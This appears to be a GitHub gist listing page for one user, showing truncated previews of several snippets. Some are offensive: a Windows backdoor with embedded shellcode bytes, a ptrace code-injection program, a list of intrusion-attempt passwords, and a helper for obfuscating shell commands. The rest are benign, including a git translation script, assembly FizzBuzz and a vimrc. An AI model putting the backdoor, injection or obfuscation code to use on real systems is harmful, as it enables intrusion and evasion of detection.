Skip to content

Instantly share code, notes, and snippets.

@0x6d61
0x6d61 / backdoor.c
Last active Jul 2, 2020
windows simple backdoor
View backdoor.c
#include <stdio.h>
#include <windows.h>
int main(void) {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
@0x6d61
0x6d61 / injection.c
Created Jun 30, 2020
ptrace code injection
View injection.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/user.h>
@0x6d61
0x6d61 / git-tcommit.sh
Created Apr 28, 2020
コミットするときに翻訳するやつ
View git-tcommit.sh
#!/bin/bash
function usage {
echo "usage:git tcommit <commit message>"
exit 2
}
if [ "$1" != "" ]; then
RESULT=$(curl -sS 'https://www2.deepl.com/jsonrpc' \
-H 'authority: www2.deepl.com' \
View fizzbuzz.asm
section .data
str_fizzbuzz: db 'fizzbuzz',10
str_fizz: db 'fizz',10
str_buzz: db 'buzz',10
section .text
global _start
_start:
mov rcx,0
.loop:
@0x6d61
0x6d61 / password.txt
Last active Jan 19, 2020
不正アクセスを試みたパスワード一覧
View password.txt
_)(*
!
! @_
!!
!!!
!!!!
!!!!!
!!!!!!
@0x6d61
0x6d61 / homo.js
Created Nov 27, 2019
CLIで┌(┌^o^)┐を動かすJavaScript
View homo.js
'use strict'
const sleep = require('sleep')
const homo = '┌(┌^o^)┐'
const homoleft = '┌(^o^┐)┐'
const rightMoveHomo = move => {
for( let i = 0;i<move;i++) {
console.log(`\x1b[${i}G${homo}`)
sleep.msleep(50)
@0x6d61
0x6d61 / client.py
Created Jun 24, 2018
Get Physical Location Script
View client.py
import subprocess
import re
import requests
import time
def wifi():
while True:
bssids = []
signal = []
View .vimrc
set fenc=utf-8
set nobackup
set noswapfile
set showcmd
set number
set title
set cursorcolumn
set smartindent
set belloff=all
set showmatch
@0x6d61
0x6d61 / dir_search.html
Created May 11, 2018
XMLHttpRequestでディレクトリを探すJavaScript
View dir_search.html
<DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<title>directory search</title>
</head>
<body>
<p>test</p>
</body>
<script type="text/javascript">
@0x6d61
0x6d61 / obfsh.rb
Last active Jun 19, 2019
難読化shell芸を手助けするscript
View obfsh.rb
obfresult= ["__=$(. 2>&1);","___=$(/ 2>&1);","__=${__##*.};",'___=$(${__:4:1}c$(printf "\x68")o $___|cut -d":" -${__:1:1}2-);']
obfchain={
"a" => '${__:6:1}',
"b" => '$(printf "%b\n" $(printf "%s%x" "\x" 98))',
"c" => '${___:13:1}',
"d" => '${___:9:1}',
"e" => '${__:4:1}',
"f" => '${__:1:1}',
"g" => '${__:13:1}',
"h" => '$(printf "\x68")',
You can’t perform that action at this time.